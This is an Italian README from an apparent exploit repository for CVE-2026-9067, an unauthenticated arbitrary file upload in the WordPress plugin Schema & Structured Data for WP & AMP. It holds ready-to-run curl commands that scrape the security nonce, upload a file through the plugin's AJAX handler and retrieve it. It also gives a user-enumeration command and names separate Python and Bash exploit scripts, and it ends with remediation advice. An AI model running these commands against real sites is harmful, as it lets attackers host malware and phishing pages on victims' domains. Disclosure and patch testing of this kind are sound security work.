POC & Xploit - Directory Proof of Concept
Documentazione ed exploit per le vulnerabilità trovate in un ambiente di test di sicurezza WordPress.
Elenco delle vulnerabilità
| CVE ID | Plugin | Gravità | Tipo | Stato |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | Alta (8.1) | Caricamento file senza restrizioni | Documentato |
CVE-2026-9067
Riepilogo rapido
Descrizione della vulnerabilità
Il plugin Schema & Structured Data for WP & AMP prima della versione 1.60 non convalida le capacità dell'utente negli handler AJAX per il caricamento di file e non convalida il tipo di file caricato. Ciò consente a un attaccante non autenticato di caricare file arbitrari.
Impatto
- Hosting di contenuti: l'attaccante può ospitare contenuti malevoli sul dominio della vittima
- Consumo di spazio su disco: il caricamento di file arbitrari può esaurire lo spazio su disco
- Abuso di reputazione: distribuzione di malware, pagine di phishing dal dominio della vittima
Nota importante: il core di WordPress blocca i file eseguibili (.php, .phtml, .html, .svg), quindi non esiste una via diretta per RCE da questa vulnerabilità.
File
CVE-2026-9067/
├── CVE-2026-9067.md # Documentazione completa (questo file)
├── CVE-2026-9067.py # Exploit Python con multi-threading
├── CVE-2026-9067.sh # Script PoC Bash/Shell
└── CVE-2026-9067_exploit.sh # PoC Bash alternativo
PoC rapido
# Passo 1: Ottenere il nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/HEAD/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Passo 2: Caricare un file arbitrario
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Passo 3: Accedere al file caricato
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
Comandi di test
Verifica stato del sito
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
Verifica versione del plugin
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
Enumerazione utenti
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
Rimedio
- Aggiornare il plugin: aggiornare Schema & Structured Data for WP & AMP alla versione 1.60 o successiva
- Disabilitare il plugin: se l'aggiornamento non è possibile, disabilitare il plugin
- Hardening:
- Impostare la costante
DISALLOW_FILE_MODIFICATIONS
- Disabilitare l'esecuzione PHP nella directory uploads tramite
.htaccess
- Implementare regole WAF
Riferimenti